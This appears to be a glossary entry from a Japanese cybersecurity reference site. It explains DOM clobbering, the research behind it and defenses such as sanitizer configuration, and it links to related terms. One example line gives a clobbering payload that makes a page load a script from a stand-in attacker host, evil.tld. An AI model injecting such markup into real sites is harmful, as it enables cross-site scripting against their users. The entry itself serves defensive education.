DOM Clobbering
DOM Clobbering とは何ですか?
DOM ClobberingA browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining.
DOM clobbering exploits a legacy DOM feature: any HTML element with an `id` or `name` attribute is exposed as a property on `window` (and, for form fields, on its parent form). An attacker who can inject limited HTML — say through a markdown renderer or a relaxed sanitizer — can therefore create variables that override or define globals, even with all script tags blocked. Classic targets include `window.config`, library globals such as `_wpemojiSettings`, and properties a strict CSP otherwise protects. Modern research (Khodayari & Pellegrino, Heyes, and the 2023 attacks on widely used sanitizers like DOMPurify) demonstrated reliable gadget chains turning HTML-only injection into full XSS by hijacking framework lookups (`window.config.url`, `document.currentScript.src`). Defenses include using `document.getElementById` instead of bare global lookups, accessing globals via `let`/`const`, locking sensitive properties on `window`, and configuring sanitizers to strip or namespace `id`/`name` attributes on user-controlled HTML.
● 例
- 01
A markdown comment containing `<a id=config><a id=config name=url href=//evil>` causes the page's loader to fetch a script from evil.tld.
- 02
A 2023 DOMPurify advisory adds `id` and `name` attributes to the sanitizer's strip-list to defeat known DOM-clobbering gadget chains.
● よくある質問
DOM Clobbering とは何ですか?
A browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining. サイバーセキュリティの アプリケーションセキュリティ カテゴリに属します。
DOM Clobbering とはどういう意味ですか?
A browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining.
DOM Clobbering はどのように機能しますか?
DOM clobbering exploits a legacy DOM feature: any HTML element with an `id` or `name` attribute is exposed as a property on `window` (and, for form fields, on its parent form). An attacker who can inject limited HTML — say through a markdown renderer or a relaxed sanitizer — can therefore create variables that override or define globals, even with all script tags blocked. Classic targets include `window.config`, library globals such as `_wpemojiSettings`, and properties a strict CSP otherwise protects. Modern research (Khodayari & Pellegrino, Heyes, and the 2023 attacks on widely used sanitizers like DOMPurify) demonstrated reliable gadget chains turning HTML-only injection into full XSS by hijacking framework lookups (`window.config.url`, `document.currentScript.src`). Defenses include using `document.getElementById` instead of bare global lookups, accessing globals via `let`/`const`, locking sensitive properties on `window`, and configuring sanitizers to strip or namespace `id`/`name` attributes on user-controlled HTML.
DOM Clobbering からどのように防御しますか?
DOM Clobbering に対する防御は通常、上記の定義で述べたとおり、技術的統制と運用上の実践を組み合わせます。
DOM Clobbering の別名は何ですか?
一般的な別名: HTML namespace pollution, Named-element global hijack。
● 関連用語
- attacks№ 265
クロスサイトスクリプティング(XSS)
他のユーザーが閲覧するページに悪意あるスクリプトを注入し、当該サイトのオリジンとして被害者のブラウザで実行させる Web 脆弱性。
- attacks№ 1225
格納型 XSS
攻撃者が送り込んだスクリプトがサーバ側に保存され、ページを閲覧したすべてのユーザのブラウザで実行される永続型クロスサイトスクリプティング。
- appsec№ 237
コンテンツセキュリティポリシー (CSP)
スクリプト・スタイル・フレームなどの読み込み元をブラウザに指示する HTTP レスポンスヘッダで、XSS やデータ注入攻撃の影響を抑える。
- appsec№ 1302
Trusted Types
DOM ベースの XSS を防ぐためのブラウザ API と CSP ディレクティブ。危険な DOM シンクには生文字列ではなく、ポリシーで検証された型付き値しか渡せなくする。
- appsec№ 599
入力検証
アプリケーションが処理する前に、信頼できないすべての入力が期待する型・長さ・範囲・形式・値集合に合致しているかをサーバー側で確認する処理。
- appsec№ 866
出力エンコーディング
信頼できないデータを HTML・JavaScript・URL・SQL・シェルなど特定の出力コンテキストで安全な形式に変換し、コードとして実行されるのを防ぐ処理。